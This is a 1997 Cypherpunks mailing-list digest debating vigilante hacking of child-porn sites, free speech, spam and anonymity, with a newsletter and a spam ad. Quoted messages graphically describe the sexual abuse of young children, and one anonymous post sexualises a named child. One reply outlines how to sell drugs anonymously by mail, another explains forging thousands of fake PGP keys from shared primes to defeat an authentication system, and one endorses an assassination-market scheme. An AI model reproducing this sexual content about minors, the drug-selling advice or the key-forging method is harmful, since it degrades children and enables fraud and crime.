From: se7en at dis.org (se7en)
Date: Tue, 10 Jun 1997 13:17:23 +0800
Subject: FCPUNX:My War
In-Reply-To: <199706100450.VAA27290@proxy3.ba.best.com>
Message-ID: 





On Sun, 8 Jun 1997 jamesd at echeque.com wrote:

> You are no hacker:  You appear to be Rich Graves.  Furthermore this 
> activity is tolerated by us.
> 
> And as usual you are discovering and publicising all sorts of good reasons
> why the government should supervise us, while piously declaring you are
> opposed to any such supervision.

Read the follow-up to the original posting.

se7en






From blancw at cnw.com  Mon Jun  9 22:27:19 1997
From: blancw at cnw.com (Blanc)
Date: Tue, 10 Jun 1997 13:27:19 +0800
Subject: Thoughtcrime   (Re: My War)
Message-ID: <3.0.32.19970609223024.00754d30@cnw.com>




I really don't think that se7en just wants to censor the kiddie porn sites;
I think he is on a personal vendetta (like McVeigh).   He didn't call for
anyone to support legislation and propose new, tough laws, but called for
hackers to go after this particular target.    On the net anyone is prey,
remember;  kiddie porn dealers not exempted.

It's moot to discuss whether eliminating a few thousand digital images will
make any difference on the availability/market desireability of these
pictures (I expect these are all backed up somewhere, anyway, so destroying
them probably wouldn't actually make much difference, but just anger the
owners.)   How many photos of real children arranged into sexual poses or
imposed upon to perform sexual acts does it take to satisfy an addict?
How many photos which are not duplicates do these people actually possess,
and how many more do they seek to obtain?   Is it the number of them, or
the thrill of the "new"?   That a certain number of these photos are in
circulation may not be so important as the fact that they are "new" (to the
person looking to get them).   This means that having free circulation of
large numbers of images may be beside the point (I am speculating and
calculating based on almost total ignorance of the psychology of this type
of individual).

If these pedophiles just want to fantasize, I would offer they could get a
package of Macromedia Freehand or Director and Photoshop and create their
own.   But that probably wouldn't be satisfactory to them.  I expect there
is something in the qualities and character of real children which draw
them.   

But I digress.  The subject was hacking at your own chosen target.   Some
people hack children's innocence; some people hack the hackers.  Que sera'
sera'.


    ..
Blanc






From real at freenet.edmonton.ab.ca  Mon Jun  9 22:28:35 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Tue, 10 Jun 1997 13:28:35 +0800
Subject: [ADMINISTRATIVIUM] Quadratic residues
In-Reply-To: 
Message-ID: 



On Mon, 9 Jun 1997, Dr.Dimitri Vulis KOTM wrote:

I think Vulis needs each of us to send ten copies of this back to him.
> 
> Folks, when replying to the ASCII art, please try to quote enough of the
> body so it'll be picked up by the filters :-)
> 
> [Or should I be filtering on the Subject line?]
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From kent at songbird.com  Mon Jun  9 22:59:52 1997
From: kent at songbird.com (Kent Crispin)
Date: Tue, 10 Jun 1997 13:59:52 +0800
Subject: Fraud and free speech
In-Reply-To: 
Message-ID: <19970609224927.55362@bywater.songbird.com>



On Mon, Jun 09, 1997 at 12:03:52PM -0700, Tim May wrote:
> At 7:11 PM -0700 6/8/97, Kent Crispin wrote:
> 
> >
> >But the fundamental principle that says "redress is available for speech
> >that causes harm" seems fairly clean.  That cuts across advertising,
> >salespersons lies, libel/slander, yelling "fire" in a theater -- a
> >whole gamut of free speech issues.  Spam falls under such a rule, as
> >well.  Of course, the issue of prior restraint is orthogonal to this
> >rule...
> 
> This "fundamental principle" is not nearly as clean or as fundamental as
> you represent.

[Several good examples deleted.]

> No. And there should not be. Harm is a name for various adverse
> developments. Many if not most of them are closely linked to speech issues.
> Legislating harm away is not consistent with a free and open society.

A good point.  However, I only used one telegraphic sentence to
express my thought, not an essay such as you would write.  I don't
have time to write an essay, but let me try to add at least a little 
more.  Hopefully you can fill in the blanks.

Clearly, in this context "harm" would be actually defined through
laws, and some other term should be used.  Let me qualify it as 
"unfair harm", realizing that it's still probably not a good term.

"Unfair harm" (as I imagine this legal infrastructure to be) cannot
occur if it is a result of a consciously accepted risk.  Thus, for
example, if you engage in the game of business you consciously accept
the rules and risks of the game.  A competitor who advertises better
prices is not creating "unfair harm".

The point of this exercise is to move the debate from what kind of
speech is protected to a debate about what constitutes "unfair harm". 
That is, all speech is free, period.  If you cause "unfair harm",
however, you are responsible for it, whether it comes from speech or
from action. 

So, for example, rather than debating whether "true speech" is
protected, we ask whether a particular case of "true speech" caused
"unfair harm".  In questionable cases we don't agonize over whether
some artificial class of speech is free -- instead we argue over
whether the harm was "fair" or not.

Why change the terms of the debate?  Because it restores freedom of 
speech as an absolute, and places all the fuzzy stuff somewhere 
else.

[...]

> Spam is a name for "unwanted communications." The proper solution is
> technological/ontological, e.g., metering. It is a defect of our current

["ontological"?  What do you mean by that? (Ontology -- the study of the 
nature of existence?]

> e-mail model that one can deliver a million pieces of e-mail for no cost.

I don't believe that metering is a solution.  It has clearly not
worked for physical mail -- I make a moderate effort to keep myself
off mailing lists, but more than half of my p-mail is junk.  That's
worse by far than my email. 

> This will be fixed, and is a solution vastly preferable to having a
> government agency decide which communications are permissable and which are
> not.

I don't favor a government agency.  I think other technologies than 
metering will be necessary.

> (Many of these issues are mooted by crypto anarchy, of course.)

Oh sure.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From mpd at netcom.com  Mon Jun  9 23:10:45 1997
From: mpd at netcom.com (Mike Duvos)
Date: Tue, 10 Jun 1997 14:10:45 +0800
Subject: Response to "My War"
In-Reply-To: 
Message-ID: <199706100602.XAA28250@netcom7.netcom.com>



Se7en recapitulates:

> As far as freedom of speech goes, sorry guys, it does not cover activities 
> which violate the rights of others. Someone does not have the right to fuck 
> a four-year-old girl in the ass, take pictures of it, and then scan it and 
> upload it to the Internet. No one has the right to force a six year old 
> girl to suck his dick until cum is running down her face, take pictures 
> of the whole thing, and, once again, upload it to the Internet. This is 
> not covered. Go back to school if you think it is.

Straw man.  There is no evidence that such activities are being engaged
in, photographed, and uploaded to the Internet by the perpetrator. 

There is a huge difference between crimes being illegal, and crime scene
pictures being illegal in the possession of someone having no link
whatsoever to the original perpetrator. 

There is an even larger difference in scenes of very old non-crimes being
illegal in the possession of anyone whatsoever. 

All of these things get lumped under the general catch-all phrase "child
porn." 

> ME: "If I was at Defcon and entered a system without authorization that 
> was dedicated to the distribution of child pornography and destroyed it, 
> and you were looking over my shoulder the whole time and saw what I did, 
> would you arrest me?"
> THEM" "I would turn around and walk away."

Take the officer's name and badge number.  He needs to be fired. 






From shamrock at netcom.com  Mon Jun  9 23:14:59 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 10 Jun 1997 14:14:59 +0800
Subject: Thoughtcrime   (Re: My War) (fwd)
In-Reply-To: 
Message-ID: <3.0.2.32.19970609224931.00755400@netcom13.netcom.com>



At 11:22 PM 6/9/97 -0500, Igor Chudov @ home wrote:
>I have a business plan. It presumes that I can RECEIVE cash
>anonymously and operate in a certain city. As far as I understand,
>a modification of existing protocols allows to implement anonymity 
>of payees.

Receiving the cash is the hard part. This has been discussed extensively.
You can post to alt.drugs and advertise your wares. You can mail the wares
by simply putting them in random mailboxes. You can even receive the
purchase orders, though this is at present more difficult. What you can't
do is get the money securely. You need two way anonymous ecash for that
purpose. And that doesn't exist yet for all practical purposes. Though I
hear this major obstacle to free enterprise is about to be overcome.


--Lucky Green  PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm






From shamrock at netcom.com  Mon Jun  9 23:21:01 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 10 Jun 1997 14:21:01 +0800
Subject: Response to "My War"
In-Reply-To: 
Message-ID: <3.0.2.32.19970609231011.007482c4@netcom13.netcom.com>



At 10:07 PM 6/9/97 -0700, se7en wrote:
>As far as freedom of speech goes, sorry guys, it does not cover activities 
>which violate the rights of others. Someone does not have the right to fuck 
>a four-year-old girl in the ass, take pictures of it, and then scan it and 
>upload it to the Internet.

Amen to the first part of the sentence. [Are there really pictures  like
that available? I too have investigated USENET to determine out just how
much truth there was to the claim of abundant child pornography available
on the Net and found only the type of pictures a casual observer could take
on any given Summer day at a Mediterranean beach. Oh, and 30+ year old
women in baby doll dresses. Twisted, but hardly child porn. Maybe child
porn is available on the net. But if I can't find it, it hardly is abundant.]

As to the last part of the sentence, who' rights, exactly, were violated
when a pre-existing picture was scanned and posted? I assume you could say
that the child's rights were violated since it didn't sign a release. What
if its legal guardian agreed to the posting of the immage? I concur that a
child's legal guardian can not validly agree to the child being subjected
to the deranged treatment you describe, but I fail to see how the mere act
of scanning and posting the pictures is any different than scanning and
posting any other picture. Assuming the person scanning and posting is not
involved in the production of the pictures.

Thanks,

--Lucky Green  PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm






From kent at songbird.com  Tue Jun 10 00:03:23 1997
From: kent at songbird.com (Kent Crispin)
Date: Tue, 10 Jun 1997 15:03:23 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: <19970608071045.57576@bywater.songbird.com>
Message-ID: <19970609234548.51666@bywater.songbird.com>



On Sun, Jun 08, 1997 at 11:46:54AM -0500, Dr.Dimitri Vulis KOTM wrote:
> Kent Crispin  writes:
[.interesting historical references deleted.]
> > their very nature involve "enforcement".  What you say in a contract
> > binds you.  What you say outside of a contract does not.  What you say
> > in a contract is, therefore, and by definition, not "free".
> 
> When a tobacco company says in an ad, "Joe Camel is cool", what kind
> of contractual obligations does it assume?

None.  I did not say that all ads were part of a contract.

> Have you ever bought a used car, Kent?  Have you seen the language in
> the contract that throws out whatever promises the saleguy made that
> are not a part of the contract? 

Yes, but never from a used-car lot, always from people I know.  I have
bought a new car -- I don't recall the details of the contract, but it
seems quite probable that such a clause would exist. 

> If I claim on Usenet that borshch
> cures cancer, who are the counterparties, and what consideration do
> I get?

No one.  None.

I didn't say that all ads were contracts.  It seems to me, though,
that there is no clear dividing line possible between advertising and
verbal contracts, and that the clause you mention in the used car 
case is indirect evidence in support of this -- car companies 
consider it prudent, after all, to get you to sign something that 
relinquishes your right to hold a salesman to what he says.

I believe the ambiguity between ad and verbal contract is unavoidable
in principle.  Can you suggest any simple clear rule that works?
"Caveat emptor" won't do it -- one of the primary purposes of
contracts is to give redress in the case of non-performance, which is
directly contrary to caveat emptor. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From nobody at faust.guardian.co.uk  Tue Jun 10 15:18:28 1997
From: nobody at faust.guardian.co.uk (Shift Control)
Date: Tue, 10 Jun 1997 15:18:28 -0700 (PDT)
Subject: A Design for Life
Message-ID: <199706100850.JAA31487@faust.guardian.co.uk>


This week the award-winning Shift Control presents...

The Design Issue

David Carson, former surfing pro turned international advertising 
consultant, is one of the most influential and instantly recognisable 
graphic designers of his generation. Edo van Duyn talks to him in a 
Shift Control exclusive.

The Royal College of Art's Industrial Design Engineering course has 
over the years moulded some of Britain's greatest creative talents - 
including the inventor of the Dual Cyclone vacuum, James Dyson. Shift 
Control talks to some of this year's graduates to discover the gadgets 
and gizmos of tomorrow.

And Andrew Byrom presents a guide to contemporary typography - the 
ubiquitous, ephemeral and disposable art form that's defining design 
in the Nineties.

Also this week, Shift Control launches the Design Gallery - a brand 
new section featuring the some of the best examples of British art 
and design.

Plus: Shift Control announces the creation of the world's first bionic 
bee, and you have another chance to win �200 in our short story 
competition.

All this plus the usual selection of rants, reckoners, reviews and 
revelations, waiting for you NOW at www.shiftcontrol.com

_____________________________________________

Shift Control is produced by the Guardian's New Media Lab with help 
from Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to 
shiftcontrol-request at nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe














From stewarts at ix.netcom.com  Tue Jun 10 01:26:18 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 10 Jun 1997 16:26:18 +0800
Subject: PGP Key generation
In-Reply-To: <199706082051.VAA05211@server.test.net>
Message-ID: <3.0.1.32.19970610011235.0068f800@popd.ix.netcom.com>



At 07:05 PM 6/8/97 -0400, Robert A. Costner wrote:
>If I generate a personal PGP keypair on some machine it takes a specific 
>period of time to do the intensive calculations, let's assume ten minutes
for 
>this example.  If I needed 10,000 such individual keyspairs for a
unspecified 
>authentication attack, does this have to take 10,000 times 10 minutes (over 
>two months with this CPU), or is there a faster way to generate a large 
>number of keypairs to appear to be a large number of people.
>
>The larger question is since 10,000 unique written signatures seems to 
>indicate that 10,000 unique individuals exist, would 10,000 unique PGP 
>signatures also seem to indicate that these are not from the same person?

If you're concerned about legitimacy, independence of keys, etc.,
then doing them one at a time is the way to go.  However, if you're
just trying to gen up a bunch of keys to fake your way through an
authentication system that wants "different" keys, and you don't mind
a bit of coding or code-borrowing, you can do far better.

First of all, you can generate 10,000 different RSA keys by generating
~142 prime numbers and using combinations of two of them.
Furthermore, you don't need to generate good random numbers to seed
the prime number searcher, so you've gone from 10,000 randoms plus
10,000/P(prime) prime searches to 1 random plus 142/P(prime) prime searches.

However, your RSA keys may not even need to be that good,
depending on the authentication system you're trying to weasel into.
RSA uses n=pq, p and q prime, and ed==1 mod (p-1)(q-1),
where e and d are relatively prime to n (usually e is a small prime.)
So you could pick _one_ pair of primes and 10,000 values of e,
if the test doesn't mind that all the (e,n) pairs have the same n,
and the e's can be a table of the first 10,000 primes.
A cheap test might or might not notice, depending on whether it's
using PGP KeyID or fingerprint or some other hash.
(Since the keyID is "just the bottom few bits of the modulus",
a test using the KeyID would notice -- so you've got to social-engineer
them into using a "better" test with the length and fingerprint :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Tue Jun 10 01:29:53 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Tue, 10 Jun 1997 16:29:53 +0800
Subject: Question about anonymizing proxies
In-Reply-To: <199706091758.KAA31403@fat.doobie.com>
Message-ID: <3.0.1.32.19970610012038.03060dfc@popd.ix.netcom.com>



At 10:58 AM 6/9/97 -0700, Huge Cajones Remailer forwarded:
>Sorry if this has been beaten to death before (if it has, a pointer to
>where it is in the archives would be appreciated), but is it possible to
>chain anonymizing proxy servers in a way similar to remailers?

Depends on the user interfaces of the anonymizing proxies - 
a system that lets you request what you want in the URL
may let you do more than a system that insists you type stuff in blanks,
but on the other hand,
http://anon.foo.com/proxy/anon.bar.com/proxy/anon.zork.com/proxy/thoughtcrim
e.com/
lets the everything in the chain see that you're really trying to reach
thoughtcrime.com, while a succession of SSL-encrypted forms popping up that
you fill in the blanks on may be harder to automate, but more secure.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From lucifer at dhp.com  Tue Jun 10 02:43:31 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Tue, 10 Jun 1997 17:43:31 +0800
Subject: Thoughtcrime (Re: My War)
Message-ID: <199706100931.FAA07504@dhp.com>



Declan McCullagh wrote:

> Subject: How "child porn" laws ban pix of girls in leotards
> 
> At 11:54 -0700 6/9/97, Vangelis wrote:
> >None of this out-of-control angry mob shit, alright?  THINK.  If it's too
> >hard a task to go after ONLY those genuinely responsible and you'd rather
> >go after their friends, family, co-workers, customers, or anyone else
> >you've rationalized as somehow indirectly encouraging the activity w/o
> >actually participating, then you've got no business playing vigilante -
> >you've become just another wreckless crusader *blinded* by his own
> >self-righteous outrage.  Christianity, the Nazi Party, and Prohibition, and
> >McCarthyism (just to name a few) have already given us enough of those.

  It seems logical to deduce that a child pornographer would want
to cover up their activity by loud protestations about child porno
on the internet. The obvious solution to child pornography on the
internet is to attack those who most loudly protest against it.

> The main reason folks seem to be in a lather about the "threat" of child
> porn is that it might ruin the Net for everyone. That is, it gives Congress
> an excuse to censor it and bring it under ever-tightening controls.

  Perhaps the answer, as with alcohol and gambling, is to put child
pornography under government regulatory control. Find a way to tax it.
Then only those who were not decent, law-abiding child pornographers
would have to fear imprisonment.

> Also, I see a lot of uninformed rants on this list about "we must uphold
> child porn laws." Few people seem to realize that the long-standing Federal
> child porn law outlawed *pictures of dancing girls wearing leotards*. I'm
> not making this up. No nudity. No breasts. Certainly no genitals. But the
> Supreme Court upheld the conviction in the Knox case. Now the law is even
> worse, since it criminalizes morphed images that *look* like kids in
> leotards, even if the models were 25-year old adults.

  And William Geiger could be criminalized by the fact that his bad
speling and the gramma make his posts *look* like crypto.

TruthMonger







From llurch at networking.stanford.edu  Tue Jun 10 03:07:32 1997
From: llurch at networking.stanford.edu (Rich Graves)
Date: Tue, 10 Jun 1997 18:07:32 +0800
Subject: Thoughtcrime (Re: My War)
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

Comrade Declan:

Thank you for labeling se7en's thoughtcrime as such and blocking his
subversive and enturbulating assertions from the fight-censorship mailing
list. The counterrevolutionary sedition that there is such a thing as
kiddie porn on the Holy Internet shall be suppressed forthwith. Verily,
traitor to the Holy Cause se7en is naught but an NSA Shill, who belongs
in the Pit of Despair with the other thought criminals.

Operation Free Speech II is proceeding according to the Five-Year Plan.

- -rich
 http://www.stanford.edu/~llurch/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEPAwUBM50l2kFGBFr0lf2RAQGRsgfLB6Fqg6Cefsr5u0zI9DIE2JD1I3fB6q0l
c+JEgnbpqpVWH9kqzY/tQxP78dh/pUUOIGzNuohIoad8f70BSp6PJUoQbaVrV5+p
K3SsTDxTIwZ77ubJSkPtean1RJRY8Nerv42CGrkSWo/HsdHBE6GH0pmDzBDgCAoS
BIXJvg4FM44wGAX+uWfiKd9JK/F3m9a/6m4sUOhmZEBIXF8GYa1TQQBlDOuuNqsM
dfYNQnu74TyhQM4qHEC9fqr+t4yC2bnemcVWVk8ddkM/vNMqrGfbyimLV7vsl30s
31aDJ5VoWVrcxV2qLCDxAJPTlxHeGtFRWCfmswRZ/U1eMw==
=M9iS
-----END PGP SIGNATURE-----






From lucifer at dhp.com  Tue Jun 10 03:12:36 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Tue, 10 Jun 1997 18:12:36 +0800
Subject: Thoughtcrime   [Lisa Bonet Ramsey]
Message-ID: <199706101001.GAA09197@dhp.com>



Tim May wrote:
> 
> Precisely. The laws are designed to go after the thoughts. Synthetic
> images, images of little girls in leotards. images of teenagers of legal
> age *in the countries of origin*...none of these involve acts of sexual
> congress with a child in violation of the laws of the U.S. The only crime
> is thoughtcrime.

 I couldn't help but notice from the TV reports that Lisa Bonet
Ramsey was a pretty hot little number. Has Peter Jennings been 
arrested yet for his part in the national media helping to spread
child pornography? Kookie Roberts?
 What if I send the FBI a picture of myself pulling my pud while
watching young Lisa strutting her stuff on the ten o'clock news?
Will the newscasters be imprisoned for conspiracy in my thought
crime?

> As for whether it is "sick" to be sexually attracted to an "underage"
> person, I sure do recall being attracted to a lot of the girls in high
> school, and they were certainly nearly all "underaged."

 Mother Nature was undoubtably a co-conspirator in your criminal
thoughts. If you had been charged you probably could have eased 
your sentence by ratting her out.

A. Perv






From nobody at REPLAY.COM  Tue Jun 10 04:09:33 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 10 Jun 1997 19:09:33 +0800
Subject: NoneRe: Assassination Politics as revenge fantasy (Re: FCPUNX:McVeigh)
In-Reply-To: 
Message-ID: <199706101102.NAA05299@basement.replay.com>



Declan McCullagh  wrote:

        Moral issues aside, one of the problems plaguing
        Bell's scheme is that it's not limited to
        eliminating "government thugs who violate your
        rights," as he likes to describe it. If it
        existed, anyone with some spare change could
        wipe out a nosy neighbor or even an irritating
        grocery store clerk.

Not likely, but for another reason.  Assuming you had the money to take
out your neighbor, it's going to be fairly obvious who did it.  (How many
neighbors do you have?  Pretty short list of suspects.)

Also, killing some nobody in a grocery store is more prone to error, and
less widely witnessed, and therefore harder to collect payment on, thus
less profitable.

The possibility of Microsoft killing their competition's engineers is
somewhat more realistic, although lately they've been hiring a lot of
them instead, so maybe they don't want to kill them. :)






From Theodor.SCHLICKMANN at bxl.dg13.cec.be  Tue Jun 10 04:10:47 1997
From: Theodor.SCHLICKMANN at bxl.dg13.cec.be (Theodor.SCHLICKMANN at bxl.dg13.cec.be)
Date: Tue, 10 Jun 1997 19:10:47 +0800
Subject: Re(2): With friends like these...
Message-ID: 




We have to live with the fact that industry has a janus head.
On one hand - and here we should follow their example - they 
are reluctant to allow somebody else to keep their keys in trust.
On the other hand - in contradiction to the previous - they 
invest in development of key escrow systems including key 
management protocols which allow third parties having 
uncontrolled access to keys.

Theodor Schlickmann
  






From jya at pipeline.com  Tue Jun 10 05:01:41 1997
From: jya at pipeline.com (John Young)
Date: Tue, 10 Jun 1997 20:01:41 +0800
Subject: Encryption Workshop
Message-ID: <1.5.4.32.19970610113747.008de16c@pop.pipeline.com>



On June 10, BXA will present an Encryption Workshop 
at the Westin Santa Clara, in Santa Clara, California. 

The half-day program will highlight the current U.S. policy 
on encryption and will include discussion of the main 
elements of the interim rule published December 30, 1996, 
including license exception KMI and the licensing process. 

The program will also address upcoming revisions based 
on the Administration's initiative to promote the use of
strong encryption by U.S. banks and financial institutions 
and their subsidiaries overseas.

For registration information, please contact: 

Carol Truhe with the Professional Association for Exporters 
and Importers at (408) 524-2135 or by fax at (408) 524-2023. 






From cypherpunks at Algebra.COM  Tue Jun 10 08:00:05 1997
From: cypherpunks at Algebra.COM (cypherpunks at Algebra.COM)
Date: Tue, 10 Jun 1997 23:00:05 +0800
Subject: blue, blue, 'lectric blue
Message-ID: 



Blue Lister's Nuked!  Blue Lister's Nuked!

First round's on Ian.  Second round we puked!

http://nethomes.com/lectric






From cme at cybercash.com  Tue Jun 10 08:01:05 1997
From: cme at cybercash.com (Carl Ellison)
Date: Tue, 10 Jun 1997 23:01:05 +0800
Subject: privacy discussion on today's TOTN
Message-ID: <3.0.1.32.19970610103445.00913710@cybercash.com>



NPR's Talk of the Nation, today at 14:00 EDT, will discuss privacy issues.

+------------------------------------------------------------------+
|Carl M. Ellison  cme at cybercash.com   http://www.clark.net/pub/cme |
|CyberCash, Inc.                      http://www.cybercash.com/    |
|207 Grindall Street   PGP 2.6.2: 61E2DE7FCB9D7984E9C8048BA63221A2 |
|Baltimore MD 21230-4103  T:(410) 727-4288  F:(410)727-4293        |
+------------------------------------------------------------------+






From pjm at spe.com  Tue Jun 10 08:28:17 1997
From: pjm at spe.com (Patrick May)
Date: Tue, 10 Jun 1997 23:28:17 +0800
Subject: hidden.net temporarily down
Message-ID: <199706101520.IAA09648@gulch.spe.com>




     The magic smoke escaped from the machine running
remailer at hidden.net.  It is being moved to a new machine forthwith.
Expect a couple days downtime while the IP address change propogates.

remailer-admin at hidden.net






From azur at netcom.com  Tue Jun 10 08:37:28 1997
From: azur at netcom.com (Deborah Stewart)
Date: Tue, 10 Jun 1997 23:37:28 +0800
Subject: Thoughtcrime (Re: My War)
In-Reply-To: 
Message-ID: 



>But isn't it clear that the true enemy is the censor? Stamp out child porn
>and then Congress will use Nazi sites, or regular porn sites, or sites that
>collect personal information as an excuse and justification for censorship.
>That's why you should attack the censors (and the real child molestors),
>not those trading dirty JPEGs.

No, the true enemy are the law makers which pander to the censors, ignoring
the constitution and the judicial which interpret the constitution to suit
the times and the mob.  Jim Bell was right!

--Steve







From frantz at netcom.com  Tue Jun 10 09:21:49 1997
From: frantz at netcom.com (Bill Frantz)
Date: Wed, 11 Jun 1997 00:21:49 +0800
Subject: Fraud and free speech
In-Reply-To: <199706082331.SAA10511@mailhub.amaranth.com>
Message-ID: 



At 5:27 PM -0700 6/8/97, Tim May wrote:
>(Oh, and it almost goes without saying that the same "lies" William and
>others are so worried about in "commercial" speech happen all the time in
>non-commerical speech. For every example of where commercial speech
>involves lies or fraud, I can find similar or fully equivalent
>non-commercial examples, ranging from lies like "I love you" to get a
>partner into bed to deliberate misstatements to mislead an opponent. Why
>should such "lies" be protected while putatively commercial speech is to be
>subjected to an increasing number of limitations?)

The only justification I can think of off hand is that a presumption of
truth may make for more efficient markets.  On the other hand, it also has
very bad effects when applied to political speech.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From tcmay at got.net  Tue Jun 10 09:29:03 1997
From: tcmay at got.net (Tim May)
Date: Wed, 11 Jun 1997 00:29:03 +0800
Subject: Fraud and free speech
In-Reply-To: 
Message-ID: 



At 9:06 AM -0700 6/10/97, Bill Frantz wrote:
>At 5:27 PM -0700 6/8/97, Tim May wrote:
>>(Oh, and it almost goes without saying that the same "lies" William and
>>others are so worried about in "commercial" speech happen all the time in
>>non-commerical speech. For every example of where commercial speech
>>involves lies or fraud, I can find similar or fully equivalent
>>non-commercial examples, ranging from lies like "I love you" to get a
>>partner into bed to deliberate misstatements to mislead an opponent. Why
>>should such "lies" be protected while putatively commercial speech is to be
>>subjected to an increasing number of limitations?)
>
>The only justification I can think of off hand is that a presumption of
>truth may make for more efficient markets.  On the other hand, it also has
>very bad effects when applied to political speech.

I was speaking of justifications in the Constitution.

There is of course a little phrase about "the power to regulate commerce,"
by which was meant (until this century) the power to set tariffs and a very
few other things related to commerce.

This century, though, this clause has been used to to what I think are
severely unconstitutional things, like place restrictions on certain items
(tobacco, alchohol, drugs). And advertising. And the airwaves. And so on. A
pernicious reach by Congress into the choices of vendors and consumers.

As for Bill's point that a mandate on truth would possibly make for more
efficient markets, I doubt it. Who determines truth? And a populace which
believes everything it is told must be true because the government requires
truth will necessarily lose critical thinking abilities.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From alano at teleport.com  Tue Jun 10 09:43:58 1997
From: alano at teleport.com (Alan)
Date: Wed, 11 Jun 1997 00:43:58 +0800
Subject: None
In-Reply-To: <199706101102.NAA05299@basement.replay.com>
Message-ID: 



On Tue, 10 Jun 1997, Anonymous wrote:

> The possibility of Microsoft killing their competition's engineers is
> somewhat more realistic, although lately they've been hiring a lot of
> them instead, so maybe they don't want to kill them. :)

"Ve have veys ov making you vork for us!"

Adds a new twist to hiring practices...  Work for us or not at all.

"Microsoft Mach Frie!"

alano at teleport.com|"The only secure system is one run over by a steamroller."






From crime at tarsey.com  Wed Jun 11 00:50:13 1997
From: crime at tarsey.com (crime at tarsey.com)
Date: Wed, 11 Jun 1997 00:50:13 -0700 (PDT)
Subject: ~ ~  SAVE YOUR LIFE - PROTECT YOUR PROPERTY !!!
Message-ID: <>


~ ~  SAVE YOUR LIFE - PROTECT YOUR PROPERTY !!!

*** 15 ANTI-CRIME REPORTS - You Should Know About !

Special Offer - Order All 15 Reports and you will also
receive REPRINT RIGHTS... Yes - Reprint Rights $$$ !!!


Dear Friend,

Crime affects you, me, everyone - Young or Old - Rich or Poor.

Crime is a problem for the entire community, not problems for
the police alone.  The police are charged to prevent and suppress
crime and to solve crime once it occurs to the utmost of their ability. 

However, they are realistically aware that they can neither prevent 
all crime from occurring nor solve every crime that does occur.

To attain the greatest possible degree of safety you, me and every
other law abiding citizen needs to become aware of how the criminals 
traditionally do their "Dastardly" deeds and how you can "Minimize 
The Risk" of crime affecting you.

Knowledge is power and the 15 reports below will give you the
POWER YOU NEED to minimize crime that could someday affect
YOU or a LOVED ONE!

Please seriously consider purchasing the below reports.  The price is
so low that you really cannot afford not to be armed with the knowledge
you will receive by reading and re-reading these reports!

Report #1 -   How To Protect Your Home From Intruders.
Report #2 -   How To Protect Yourself On City Streets.
Report #3 -   How To Protect Your Valuables From Theft.
Report #4 -   How To Protect Yourself When Traveling.
Report #5 -   How To Guard Against Purse Snatchers.
Report #6 -   How To Protect Yourself From Armed Robbery.
Report #7 -   How To Protect Your From Pickpockets.
Report #8 -   How To Safeguard Against Rape.
Report #9 -   How Shoplifting Affects You and Your Family.
Report #10 -  How To Protect Your Cars, Bicycles and Motorcycles.
Report #11 -  How To Protect Your Home While Away.
Report #12 -  How To Burglar-Proof Your Doors.
Report #13 -  How To Burglar-Proof Your Windows.
Report #14 -  How To Select a Burglar Alarm.
Report #15 -  How To Reduce Crime In Your Neighborhood.

SPECIAL OFFER - Order All 15 Reports and you will also receive
Reprint Rights.

